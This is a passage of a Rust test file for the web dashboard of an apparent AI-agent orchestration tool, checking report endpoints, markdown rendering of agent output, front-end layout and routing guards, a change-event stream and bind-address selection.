12049 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
12050
12051 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
12052
12053 assert_eq!(res.status, 200);
12054 assert!(
12055 res.headers
12056 .contains("content-type: text/plain; charset=utf-8"),
12057 "a browser must render it, not download it: {}",
12058 res.headers
12059 );
12060 assert!(
12064 res.body.contains("20260902-140501-a1b2"),
12065 "the report is about the run that was asked for: {}",
12066 res.body
12067 );
12068 }
12069
12070 #[tokio::test]
12071 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
12072 crate::run::pin_test_home();
12074 let f = Fixture::start().await;
12075 let id = "20260902-140501-a1b2";
12076 write_run(&f.runs(), id, RunStatus::Stalled);
12077 let path = f.runs().join(id).join("run.json");
12080 let mut v: serde_json::Value =
12081 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
12082 v["tally"] = serde_json::json!({
12083 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
12084 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
12085 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
12086 "met_quorum": false, "rankings": 1
12087 });
12088 v["reviews"] = serde_json::json!([{
12089 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
12090 "e2e_deferred": true,
12091 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
12092 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
12093 ]}]
12094 }]);
12095 std::fs::write(&path, v.to_string()).unwrap();
12096 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
12097 std::fs::write(
12098 f.runs().join("20260902-140502-dead").join("run.json"),
12099 "{not json",
12100 )
12101 .unwrap();
12102
12103 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
12104
12105 assert_eq!(res.status, 200, "{}", res.body);
12106 assert!(res.headers.contains("content-type: application/json"));
12107 let j = res.json();
12108 assert_eq!(j["schema"], 1);
12109 assert_eq!(j["header"]["id"], id);
12110 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
12111 let kinds: Vec<&str> = j["sections"]
12112 .as_array()
12113 .unwrap()
12114 .iter()
12115 .map(|s| s["kind"].as_str().unwrap())
12116 .collect();
12117 assert_eq!(kinds, ["candidates", "tally", "review"]);
12118 let tally = &j["sections"][1]["tally"];
12119 assert_eq!(
12120 (tally["decided"].clone(), tally["provisional"].clone()),
12121 (false.into(), true.into())
12122 );
12123 let round = &j["sections"][2]["rounds"][0];
12124 assert_eq!(round["e2e"]["state"], "deferred");
12125 assert_eq!(round["findings"][0]["severity"], "major");
12126 assert_eq!(round["findings"][0]["blocking"], true);
12127 assert_eq!(round["findings"][0]["state"], "open");
12128
12129 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
12131
12132 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
12134 assert_ne!(bad.status, 200, "{}", bad.body);
12135 assert_eq!(
12136 bad.status,
12137 f.get("/api/runs/20260902-140502-dead/report").await.status
12138 );
12139 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
12140 assert_eq!(
12141 f.get("/api/runs/20260902-999999-ffff/report.json")
12142 .await
12143 .status,
12144 404
12145 );
12146 }
12147
12148 #[tokio::test]
12149 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
12150 let f = Fixture::start().await;
12151
12152 let html = f.get("/").await;
12153 let css = f.get("/app.css").await;
12154 let js = f.get("/app.js").await;
12155
12156 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
12157 assert!(
12158 html.headers
12159 .contains("content-type: text/html; charset=utf-8")
12160 );
12161 assert!(css.headers.contains("content-type: text/css"));
12162 assert!(js.headers.contains("content-type: text/javascript"));
12163 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
12164 }
12165
12166 #[test]
12167 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
12168 let body = |name: &str| {
12169 let at = APP_JS
12170 .find(name)
12171 .unwrap_or_else(|| panic!("{name} missing"));
12172 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12173 };
12174 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
12175 let note = body("function landRoundNote");
12176 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
12177 assert!(note.contains("Land round ${round}"));
12178 let land = body("function renderLand");
12179 let note_at = land
12180 .find("landRoundNote(pr)")
12181 .expect("renderLand uses the note");
12182 assert!(
12183 note_at
12184 < land
12185 .find("roundRail(pr)")
12186 .expect("renderLand uses the rail")
12187 );
12188 }
12189
12190 #[test]
12191 fn the_runs_page_redesign_keeps_its_guards() {
12192 let body = |name: &str| {
12193 let at = APP_JS
12194 .find(name)
12195 .unwrap_or_else(|| panic!("{name} missing"));
12196 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12197 };
12198 let land = body("function renderLand");
12200 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
12201 assert!(
12202 !land.contains("box.append("),
12203 "renderLand must use append()"
12204 );
12205 assert!(land.contains("append(box, ["));
12206 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
12208 assert!(
12209 body("function applyRoute")
12210 .contains("route.name !== state.route.name || route.id !== state.route.id")
12211 );
12212 assert!(!APP_JS.contains("adviseConvergeDiagram"));
12214 assert!(!INDEX_HTML.contains("advise-converge"));
12215 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
12216 assert!(APP_JS.contains("provisional"));
12217 for id in [
12218 "run-tab-overview",
12219 "run-tab-timeline",
12220 "run-tab-report",
12221 "run-report",
12222 "runs-scope",
12223 ] {
12224 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
12225 }
12226 assert!(!INDEX_HTML.contains("runs-tree"));
12227 assert!(!INDEX_HTML.contains("run-raw-panel"));
12228 assert!(APP_JS.contains("resume"));
12230 assert!(APP_JS.contains("unreadable"));
12232 }
12233
12234 #[test]
12235 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
12236 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
12237 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
12238 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
12239 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
12240 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
12241 assert!(APP_JS.contains("unreadable` : null"));
12243 }
12244
12245 #[test]
12246 fn the_run_detail_payload_says_whether_the_run_is_done() {
12247 for (status, done) in [
12249 (RunStatus::Superseded, true),
12250 (RunStatus::Blocked, true),
12251 (RunStatus::Landing, false),
12252 ] {
12253 let mut state = RunState::new(
12254 std::path::PathBuf::from("/repo"),
12255 "main".to_owned(),
12256 "abc".to_owned(),
12257 "x".to_owned(),
12258 crate::config::Config::default(),
12259 );
12260 state.status = status;
12261 let v = serde_json::to_value(RunDetailView::of(
12262 state,
12263 crate::run::Liveness::Unknown,
12264 None,
12265 None,
12266 None,
12267 ))
12268 .unwrap();
12269 assert_eq!(v["done"], done, "{status:?}");
12270 }
12271 }
12272
12273 fn has_strong(nodes: &[md::Node]) -> bool {
12275 serde_json::to_string(nodes).unwrap().contains("strong")
12276 }
12277
12278 #[test]
12279 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
12280 let mut state = RunState::new(
12281 std::path::PathBuf::from("/repo"),
12282 "main".to_owned(),
12283 "abc".to_owned(),
12284 "x".to_owned(),
12285 crate::config::Config::default(),
12286 );
12287 let proposal = |approach: &str| {
12288 serde_json::json!({
12289 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
12290 })
12291 };
12292 state.advice = Some(
12293 serde_json::from_value(serde_json::json!({
12294 "records": [
12295 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
12296 "proposal": proposal("do **this**")},
12297 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
12298 ],
12299 "synthesis": "- one\n- **two**\n\n`code`",
12300 }))
12301 .unwrap(),
12302 );
12303 state.candidates = serde_json::from_value(serde_json::json!([
12304 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
12305 "summary": "did **it**"},
12306 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
12307 ]))
12308 .unwrap();
12309 state.reviews = serde_json::from_value(serde_json::json!([{
12312 "round": 1, "head": "h",
12313 "reviews": [{
12314 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
12315 "findings": [
12316 {"severity": "nit", "title": "t1", "detail": "plain nit"},
12317 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
12318 ],
12319 }],
12320 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
12321 "fix": {"agent": "a", "notes": "fixed **it**",
12322 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
12323 }, {"round": 2, "head": "h2", "reviews": []}]))
12324 .unwrap();
12325
12326 let v = serde_json::to_value(RunDetailView::of(
12327 state,
12328 crate::run::Liveness::Unknown,
12329 None,
12330 None,
12331 None,
12332 ))
12333 .unwrap();
12334
12335 let strong = |p: &str| {
12336 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
12337 assert!(n.to_string().contains("strong"), "{p}: {n}");
12338 };
12339 strong("/advice_md/synthesis");
12340 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
12341 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
12342 strong("/advice_md/approaches/0");
12343 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
12344 strong("/candidate_summaries_md/0");
12345 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
12346 strong("/reviews_md/0/reviewers/0/summary");
12347 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
12348 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
12349 assert!(f[1].to_string().contains("strong"));
12350 strong("/reviews_md/0/reconsideration/0");
12351 strong("/reviews_md/0/fix/notes");
12352 strong("/reviews_md/0/fix/rejected/0");
12353 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
12354 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
12355 assert_eq!(v["candidates"][0]["summary"], "did **it**");
12357 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
12358 }
12359
12360 #[test]
12361 fn a_run_without_advice_has_no_advice_md() {
12362 let state = RunState::new(
12363 std::path::PathBuf::from("/repo"),
12364 "main".to_owned(),
12365 "abc".to_owned(),
12366 "x".to_owned(),
12367 crate::config::Config::default(),
12368 );
12369 let p = run_prose_md(&state);
12370 assert!(p.advice_md.is_none());
12371 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
12372 }
12373
12374 #[test]
12375 fn a_question_view_carries_markdown_for_each_thread_turn() {
12376 let home = TempDir::new().unwrap();
12377 let store = ask::Questions::at(home.path().join("questions"));
12378 let mut q = Question::new(
12379 "run".to_owned(),
12380 "implement".to_owned(),
12381 "impl-A".to_owned(),
12382 "which?".to_owned(),
12383 String::new(),
12384 Vec::new(),
12385 );
12386 q.say("plain words").unwrap();
12387 q.reply("use **this**", Vec::new()).unwrap();
12388 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12389 let bodies = &v["thread_bodies_md"];
12390 assert_eq!(bodies.as_array().unwrap().len(), 2);
12391 assert!(!bodies[0].to_string().contains("strong"));
12392 assert!(bodies[1].to_string().contains("strong"));
12393 }
12394
12395 #[test]
12396 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
12397 let home = TempDir::new().unwrap();
12398 let store = ask::Questions::at(home.path().join("questions"));
12399 let mut q = Question::new(
12400 "run".to_owned(),
12401 "conduct".to_owned(),
12402 "conduct".to_owned(),
12403 "which?".to_owned(),
12404 String::new(),
12405 Vec::new(),
12406 );
12407 q.say("plain words").unwrap();
12408 q.thread.push(ask::Turn {
12409 who: ask::Who::Agent,
12410 body: "Settled as `merge`".to_owned(),
12411 at: jiff::Timestamp::now(),
12412 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
12413 });
12414 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12415 let notes = &v["thread_notes_md"];
12416 assert_eq!(notes.as_array().unwrap().len(), 2);
12417 assert!(notes[0].is_null());
12418 let text = notes[1].to_string();
12419 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
12420 assert!(APP_JS.contains("ask-turn-note"));
12421 }
12422
12423 #[test]
12424 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
12425 assert!(APP_JS.contains("function landView(run, raw) {"));
12429 assert!(
12430 APP_JS.contains(
12431 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
12432 )
12433 );
12434 assert!(APP_JS.contains("const pr = landView(run, raw);"));
12435 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
12436 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
12437 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
12438 }
12439
12440 #[test]
12441 fn live_runs_are_never_hidden_or_folded_as_superseded() {
12442 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
12443 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
12444 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
12445 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
12446 }
12447
12448 #[test]
12449 fn review_rounds_label_a_distinct_verified_head() {
12450 assert!(APP_JS.contains("round.verified_head"));
12451 assert!(APP_JS.contains("verified HEAD"));
12452 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
12453 }
12454
12455 #[test]
12456 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
12457 assert!(APP_JS.contains("blocked: { glyph:"));
12461 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
12462
12463 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
12467 assert!(
12468 APP_JS.contains(
12469 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
12470 ),
12471 "the note line must name what a blocked task is waiting on, not just that it is blocked"
12472 );
12473 assert!(APP_JS.contains("if (status === \"blocked\") {"));
12477
12478 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
12482 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
12483 assert!(
12484 APP_JS.contains("location.hash = \"#/questions\";"),
12485 "a question node must jump to the Questions screen, not pretend to be a task"
12486 );
12487
12488 assert!(APP_JS.contains("Resolved questions"));
12491 assert!(APP_JS.contains("r.answersList.append("));
12492 assert!(APP_CSS.contains(".task-answers"));
12493 {
12494 let start = APP_JS
12495 .find("function updateTalkTaskRow")
12496 .expect("updateTalkTaskRow");
12497 let body = &APP_JS[start..];
12498 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
12499 assert!(
12500 body.contains(
12501 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
12502 ),
12503 "a chat-filed task row must link to the task page"
12504 );
12505 assert!(
12506 !body.contains("#/runs/") && !body.contains("#/queue/"),
12507 "the row must not branch to a run or the queue card"
12508 );
12509 assert!(APP_CSS.contains(".talk-task-link"));
12510 }
12511 }
12512
12513 #[test]
12514 fn a_task_notification_links_to_the_task_page() {
12515 let start = APP_JS
12517 .find("function noticeLink(")
12518 .expect("noticeLink exists");
12519 let body = &APP_JS[start..];
12520 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
12521 assert!(
12522 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
12523 "a task notice's link must target the task page"
12524 );
12525 assert!(
12526 !body.contains("#/queue/"),
12527 "regression: the task link must not go back to the Backlog route"
12528 );
12529 assert!(
12530 APP_JS.contains(
12531 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
12532 ),
12533 "`#/tasks/<id>` must parse into the task route"
12534 );
12535
12536 assert!(
12538 APP_JS.contains(
12539 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
12540 ),
12541 "`#/queue/<id>` must parse into a route carrying that id"
12542 );
12543
12544 assert!(APP_JS.contains("state.queueFocus = route.id;"));
12548 assert!(APP_JS.contains("function consumeQueueFocus()"));
12549 assert!(APP_JS.contains("jumpToTask(id)"));
12550 }
12551
12552 #[test]
12555 fn chat_rows_put_the_title_alone_on_the_first_line() {
12556 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
12557 assert!(APP_CSS.contains(
12558 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
12559 ));
12560 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
12561 assert!(APP_JS.contains("class: \"badge talk-unread\""));
12562 }
12563
12564 #[test]
12565 fn run_rows_put_the_title_alone_on_the_first_line() {
12566 assert!(
12567 APP_CSS.contains(
12568 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
12569 )
12570 );
12571 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
12572 assert!(APP_JS.contains("class: \"card run-card\""));
12573 assert!(APP_JS.contains("class: \"repo run-id\""));
12574 }
12575
12576 #[test]
12580 fn wide_screens_show_list_and_preview_side_by_side() {
12581 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
12583 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
12584 assert!(APP_CSS.contains("main[data-split]"));
12585 assert!(APP_CSS.contains("body[data-split]"));
12586
12587 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
12589 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
12590 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
12591 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
12592 assert!(INDEX_HTML.contains("id=\"split-empty\""));
12593
12594 assert!(APP_JS.contains("function markSelected() {"));
12596 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
12597 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
12598 assert!(
12600 APP_CSS.contains(
12601 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
12602 )
12603 );
12604
12605 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
12607 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
12608 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
12609 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
12610
12611 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
12615 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
12616 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
12617 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
12618
12619 assert!(APP_JS.contains("sandbox: \"\""));
12621 assert!(!APP_JS.contains("sandbox: \"allow"));
12622 }
12623
12624 #[test]
12625 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
12626 assert!(
12635 APP_JS.contains(
12636 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
12637 ),
12638 "the search-clearing branch must run before state.queueFocus is cleared, or the \
12639 recursive renderQueue() call has nothing left to jump to"
12640 );
12641 assert!(
12642 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
12643 "state.queueFocus must be cleared only once the jump has landed, so a card that \
12644 arrives later still gets it"
12645 );
12646 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
12647 assert!(APP_JS.contains("is not in the current Backlog."));
12648 assert!(APP_JS.contains("li.card[data-task-id=\""));
12649 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
12650 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
12651 assert!(APP_CSS.contains(".card-permalink"));
12652 assert!(APP_CSS.contains(".queue-focus-status"));
12653 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
12654 }
12655
12656 #[test]
12657 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
12658 assert!(
12666 APP_JS.contains(
12667 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
12668 ),
12669 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
12670 );
12671 }
12672
12673 #[test]
12674 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
12675 assert!(
12676 APP_JS.contains("round.verified_head !== round.head"),
12677 "a round that verified an earlier commit must be visibly distinct from one that \
12678 verified the head reviewers are looking at now"
12679 );
12680 assert!(
12681 APP_JS.contains("round.verified_at"),
12682 "when a check ran must be on the wire, not just which commit"
12683 );
12684 assert!(
12685 APP_JS.contains("resource_blocked"),
12686 "a command magi never got to run (shared build cache contention) must not render \
12687 the same as a command that ran and failed"
12688 );
12689 }
12690
12691 #[test]
12692 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
12693 assert!(
12701 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
12702 "every KPI tile built through statusTile() must route its click through \
12703 openRunsFiltered, the single place that sets the Runs filter"
12704 );
12705 for (label, status) in [
12706 ("Merged", "merged"),
12707 ("Ready", "ready"),
12708 ("Blocked", "blocked"),
12709 ("Stalled", "stalled"),
12710 ] {
12711 let call = format!("statusTile(\"{label}\", t.{status}, ");
12712 assert!(
12713 APP_JS.contains(&call),
12714 "expected the {label} KPI tile built via {call}..."
12715 );
12716 assert!(
12717 APP_JS.contains(&format!("status === \"{status}\"")),
12718 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
12719 compare a run against, not one invented only for the stats tile"
12720 );
12721 }
12722 assert!(
12723 APP_JS.contains("function openRunsFiltered(status)"),
12724 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
12725 );
12726 assert!(
12727 APP_JS.contains(
12728 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
12729 ),
12730 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
12731 );
12732 assert!(
12740 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
12741 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
12742 hashchange event that may never fire"
12743 );
12744 }
12745
12746 #[test]
12747 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
12748 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
12754 assert!(
12755 APP_JS.contains(
12756 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
12757 ),
12758 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
12759 guard for an incompatible tree section"
12760 );
12761 }
12762
12763 #[test]
12764 fn every_stats_queue_tile_names_a_real_queue_section() {
12765 assert!(
12771 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
12772 "every queue tile built through sectionTile() must route its click through \
12773 openQueueSectionFocus"
12774 );
12775 for key in ["upnext", "running", "done", "held", "blocked"] {
12776 assert!(
12777 APP_JS.contains(&format!("{{ key: \"{key}\",")),
12778 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
12779 );
12780 }
12781 for line in [
12785 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
12786 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
12787 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
12788 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
12789 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
12790 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
12791 ] {
12792 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
12793 }
12794 }
12795
12796 #[test]
12797 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
12798 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
12805 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
12806 assert!(APP_JS.contains("function revealQueueSection(details)"));
12807 assert!(
12808 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
12809 "renderQueue() must consume both focus channels on every pass"
12810 );
12811 assert!(
12812 APP_JS.contains(
12813 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
12814 ),
12815 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
12816 the recursive renderQueue() call has nothing left to reveal"
12817 );
12818 assert!(
12819 APP_JS.contains(
12820 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
12821 ),
12822 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
12823 );
12824 assert!(
12832 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
12833 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
12834 hashchange event that may never fire"
12835 );
12836 }
12837
12838 #[tokio::test]
12839 async fn the_change_stream_announces_the_current_revisions_on_connect() {
12840 let f = Fixture::start().await;
12841
12842 let mut socket = tokio::net::TcpStream::connect(f.addr)
12843 .await
12844 .expect("connect");
12845 socket
12846 .write_all(
12847 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
12848 )
12849 .await
12850 .expect("write request");
12851
12852 let mut seen = String::new();
12855 let mut buf = [0u8; 1024];
12856 while !seen.contains("event: change") {
12857 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
12858 .await
12859 .expect("the stream must speak within five seconds")
12860 .expect("read");
12861 assert!(read > 0, "the server closed the change stream: {seen}");
12862 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
12863 }
12864
12865 assert!(
12866 seen.to_lowercase()
12867 .contains("content-type: text/event-stream"),
12868 "the browser only reconnects automatically for a real SSE stream: {seen}"
12869 );
12870 let data = seen
12871 .lines()
12872 .find_map(|l| l.strip_prefix("data:"))
12873 .expect("a data line");
12874 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
12875 assert!(
12876 payload["queue_rev"].is_u64()
12877 && payload["runs_rev"].is_u64()
12878 && payload["questions_rev"].is_u64()
12879 && payload["talks_rev"].is_u64()
12880 && payload["notifications_rev"].is_u64()
12881 && payload["loop_rev"].is_u64(),
12882 "the client needs one revision per store to know what to refetch, \
12883 and `talks_rev` is the only notification a standing talk gets - a \
12884 phone whose radio slept through a turn learns about it here, as \
12885 does one whose operator started the loop from another device: \
12886 {payload}"
12887 );
12888
12889 let health = f.get("/api/health").await.json();
12896 for key in [
12897 "queue_rev",
12898 "runs_rev",
12899 "questions_rev",
12900 "talks_rev",
12901 "notifications_rev",
12902 "loop_rev",
12903 ] {
12904 assert!(
12905 health[key].is_u64(),
12906 "health is the change stream's fallback and is missing `{key}`: {health}"
12907 );
12908 }
12909 }
12910
12911 #[tokio::test]
12912 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
12913 let f = Fixture::start().await;
12914 let before = f.get("/api/health").await.json()["talks_rev"]
12915 .as_u64()
12916 .expect("talks_rev");
12917
12918 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
12919 std::thread::sleep(Duration::from_millis(10));
12920 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
12921 on_disk.turns.push(crate::talk::Turn {
12922 who: crate::talk::Who::Operator,
12923 body: "a new turn".to_owned(),
12924 at: Timestamp::now(),
12925 attachments: Vec::new(),
12926 usage: None,
12927 });
12928 f.talks().put(&mut on_disk).expect("record a turn");
12929
12930 let after = f.get("/api/health").await.json()["talks_rev"]
12931 .as_u64()
12932 .expect("talks_rev");
12933 assert_ne!(
12934 before, after,
12935 "a phone must be able to notice a talk's reply without polling every store"
12936 );
12937 }
12938
12939 #[test]
12940 fn bind_reads_back_from_the_spelling_the_cli_prints() {
12941 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
12945 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
12946 }
12947 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
12948 assert!("everywhere".parse::<Bind>().is_err());
12949 }
12950
12951 #[test]
12952 fn an_explicit_bind_address_is_taken_verbatim() {
12953 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
12954
12955 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
12956
12957 assert_eq!(addr, asked);
12958 assert!(
12959 warning.is_none(),
12960 "an operator who named an address gets no lecture"
12961 );
12962 }
12963
12964 #[test]
12965 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
12966 let (addr, warning) = resolve_bind(&Bind::Auto);
12967
12968 match addr {
12975 IpAddr::V4(ip) if is_tailnet(&ip) => {
12976 assert!(warning.is_none(), "a tailnet address needs no warning");
12977 }
12978 other => {
12979 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
12980 let warning = warning.expect("a fallback has to explain itself");
12981 assert!(
12982 warning.contains("127.0.0.1") && warning.contains("local-only"),
12983 "the warning says what happened and what it costs: {warning}"
12984 );
12985 }
12986 }
12987 }
12988
